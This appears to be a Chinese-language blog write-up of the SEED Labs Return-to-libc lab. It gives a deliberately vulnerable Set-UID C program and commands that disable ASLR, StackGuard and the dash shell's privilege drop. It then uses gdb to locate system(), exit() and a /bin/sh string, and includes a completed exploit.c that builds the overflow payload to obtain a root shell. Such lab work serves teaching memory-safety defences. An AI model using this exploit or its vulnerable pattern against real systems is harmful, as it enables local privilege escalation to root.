SeedLab-ReturnToLibc

Lab Overview

这个实验的学习目标是给学生体验有趣的缓冲区溢出攻击的变体,这种攻击攻击能够绕过实现在大多数linux操作系统上的保护机制。一种常见的利用BufferOverflow漏洞的方法是利用一段shellcode溢出buffer,然后使漏洞程序跳转到保存在栈上的shellcode,并执行shellcode,参考BufferOverflow漏洞。为了防止这种类型的攻击,一些操作系统允许程序使它们的栈不可执行,因此,跳转到stack上的shellcode会导致攻击失败。
不幸的是,上述的保护不是十分安全的(fool-proof),存在一种缓冲区溢出攻击的变体(ReturnToLibc)可以完成攻击,这种攻击不需要栈可执行(executable stack),甚至不需要使用shellcode,它使得漏洞程序跳转到一些现有的代码中去,例如libc库函数中的system()系统调用,该函数在程序运行时已经被加载到内存中。
在本实验中,将为学生提供一个具有缓冲区溢出漏洞的程序;任务时实现ReturnToLibc攻击来利用漏洞获取root权限。除攻击外,还将指导学生逐步介绍几种已在操作系统中实施的保护方案,以应对缓冲区溢出攻击。学生需要评估该计划是否有效,并解释原因。本实验涵盖以下主题:

  • Buffer overflow vulnerability and attack 缓冲区溢出漏洞和攻击
  • Stack layout in a function invocation 函数调用中的堆栈布局
  • Address randomization 地址随机化
  • Non-executable stack 不可执行的堆栈
  • The libc functions
实验任务
关闭对策

你可以使用我们预置的Ubuntu虚拟机来完成实验任务,Ubuntu和其他Linux发行版已经实现了几种安全机制,以使缓冲区溢出攻击变得困难。

为了简化攻击,我先禁用它们。然后再我们将一一启用它们,并查看我们的攻击是否仍然可以成功。

地址空间随机化: Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

$ sudo sysctl -w kernel.randomize_va_space=0

StackGuard保护方案: GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护的情况下,缓冲区溢出攻击将不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要在禁用StackGuard的情况下编译程序example.c,我们可以执行以下操作:

$ gcc -fno-stack-protector example.c

不可执行的堆栈: Ubuntu曾经允许堆栈可执行,但是现在已经发生了变化:程序(和共享库)的二进制映像必须声明它们是否需要堆栈可执行,这通过它们在程序头中标记一个字段实现。内核或动态链接器使用此标记来决定是使此正在运行的程序的堆栈是可执行的还是不可执行的。标记是由最新版本的gcc自动完成的,默认情况下,堆栈设置为不可执行。要更改此设置,请在编译程序时使用以下选项:

对于可执行堆栈:

$ gcc -z execstack -o test test.c

对于不可执行堆栈

$ gcc -z noexecstack -o test test.c

配置 /bin/sh(只限于Ubuntu16.04版本)
在Ubuntu 12.04和Ubuntu16.04中,/bin/sh 符号链接指向、bin/dash shell,但是dash shell在这两个虚拟机中有明显的不同,dash shell 在16.04中存在一个对策,来防止它自己被一个Set-UID进程执行,特别地,如果dash shell 检测到它被一个Set-UID进程执行,它立刻将有效uid更改为那个进程的真实 uid,从而在实质上删除了特权。在12.04中没有这个对策。
由于我们得受害者程序是一个Set-UID 程序,且我们得攻击依赖于/bin/sh,16.04中的对策是的我们的攻击变得困难,因此我们需要将/bin/sh链接到另一个shell上,这个shell没有如上所说的对策(在后面的任务中,我们会看到,只需要一点点努力,/bin/dash的对策可以被轻松击败),在16.04虚拟机中安装了叫作zsh的shell,我们使用如下命令将/bin/sh链接到zsh shell(12.04版本没有必要这么做。)

$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh

漏洞程序
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

上述程序存在缓冲区溢出漏洞,它首先从badfile文件中读取40字节的输入到一个12字节的缓冲区(buffer)中,由于函数fread()没有检查buffer边界,BufferOverflow将会发生。这个程序是一个拥有者为root的Set-UID程序,所以如果一个正常用户可以利用这个bufferoverflow漏洞,用户便能够获取root shell,需要注意的是程序从一个角度badfile的文件中获取输入,而这个badfile是由用户提供的,所以,我们可以构造一个文件,当漏洞程序复制文件内容到它的buffer中时,roote shell便可以获得。
首先编译代码并且将其改变为拥有者为root的Set-UID程序,不要忘记使用 -fno-stack-protector 选项来关闭 StackGuard保护 和使用 -z noexecstack选项来打开non-exeutable stack保护。

gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib

任务1:找出libc函数的地址

在ReturnToLibc攻击里,我们需要跳转到一些现存的已经被加载到内存的代码中,我们在攻击中将会使用Libc函数库中的system()和exit()函数,所以我么需要找到他们的地址,有许多方法可以确定,但是使用gdb调试器会简单一点

gdb a.out
(gdb) b main ➀
(gdb) r ➁
(gdb) p system ➂
$1 = {<text variable, no debug info>} 0xb7c56da0 <__libc_system>
(gdb) p exit ➃
$2 = {<text variable, no debug info>} 0xb7c4a9d0 <__GI_exit>

在上述gdb命令里,我们首先在main函数中设置了一个断点,接着使用命令r运行debugged程序(Line ②),程序将会断在断点处,我们可以打印出system()和exit()函数的地址(Line ③ ④),从输出可以看出,system()地址为0xb7c56da,exit()地址时0xb7c4a9d0,真实地址可能因虚拟机不同而不同,在我的虚拟机如下:
在这里插入图片描述

任务2:把shell 字符串放入内存

我们的攻击策略是跳转到system()函数并且通过它来执行任意命令,我们希望通过system()函数执行/bin/sh程序,因此,命令字符串“/bin/sh”必须首先被放入内存,并且我们需要知道它的地址(这个地址需要传递给system()函数),有许多方法可以实现这个目标,我们选择通过环境变量来实现。
当我们从shell prompt执行一个程序时,shell通常生成一个子进程来执行该程序,所有导出的shell变量将会变成子进程的环境变量,这使得我们可以任意的放置一些任意的字符串到子进程的内存中。我们定义一个新的shell变量MYSHELL,并且使它包含字符串/bin/sh。从下列命令,我们可以确保使字符串进入子进程中,并且通过运行在子进程里的env命令打印出来。

$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
MYSHELL=/bin/sh

我们将会使用这个变量的地址作为system()调用的参数,使用下面的程序可以轻松的定位这个变量。

void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

如果关闭了address randomization,你会发现输出的地址是同一个,然而,当你运行漏洞程序retlib,环境变量的地址可能有所不同;比如地址甚至会因为你改变程序的名字而发生改变名字中的字符数起作用),好消息是,使用上述程序输出的地址与shell地址很接近,因此你可能需要多次尝试才能成功。
在我的机器上显示如下
在这里插入图片描述

任务3:利用BufferOverflow漏洞

我们准备创建badfile的内容。由于内容涉及到一些二进制数据(例如,libc函数的地址),所以我们编写了一个C程序来进行构造。我们为您提供了代码的框架,其中的关键部分留给您填写

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[32] =0xbffffdd8; // "/bin/sh" ✰
*(long *) &buf[24] = 0xb7e42da0 ; // system() ✰
*(long *) &buf[28] =0xb7e369d0 ; // exit() ✰
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

分析:
我们得目标是溢出缓冲区,覆盖bof函数的返回地址,将其指向system()函数,并且将/bin/sh作为system()的参数,最后执行exit()函数范围,故我们必须知道bof函数的返回地址,通过如下操作可以知晓:

gdb retlib
b bof
r

可以观察到code区域有如下代码:
在这里插入图片描述
其中红框区域指出buffer距离ebp的距离为0x14,所以buffer距离return address的距离为0x18(十进制为24),故在exploit.c中将system()在buffer数组中的下标改为24,由于函数调用时在函数自身ebp下 是return address 和参数,故将exit()在buffer数组中的下标置为28,参数/bin/sh在buffer数组中的下标置为32.
采取如上代码,运行情况如下:
在这里插入图片描述
可以很明显看到 提示no such file or directory: in/sh,而in/sh是/bin/sh字符串的一部分,于是可以料想MYSHELL的env地址有偏差,于是将0xbffffdd8改为0xbffffdd6(/b占两个字节),实验结果如下;
在这里插入图片描述

exit()函数有必要存在吗?

在exploit.c函数中注释exit()函数所在行,复刻实验,依旧可以提权,但是无法正常退出shell,程序有可能会崩溃,原来exit()是在system()执行完之后执行的,因为它填充在栈上的地址,是调用system()时的返回地址,这样说有点拗口,可以看下图,所以若没有exit(),原来填充exit()的数据可能是任何值。
在这里插入图片描述
实验结果如下:
在这里插入图片描述

改变retlib.c文件名,复刻实验

环境变量的地址可能有所不同;比如地址甚至会因为你改变程序的名字而发生改变(名字中的字符数起作用)因为环境变量存储在一个进程的栈中,但是在传入环境变量之前,程序名会首先被传进去,所以程序名不同,传入栈的字符长度可能不同,从而导致环境变量的地址可能不同。 参考环境变量
在这里插入图片描述
根据提示 command not found:h,h在/bin/sh中,故而想到修改/bin/sh的起始地址为0xbffffdd0(原来是0xbffffdd6,h相对于/bin/sh第一个字符/偏移为6,故减去6)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值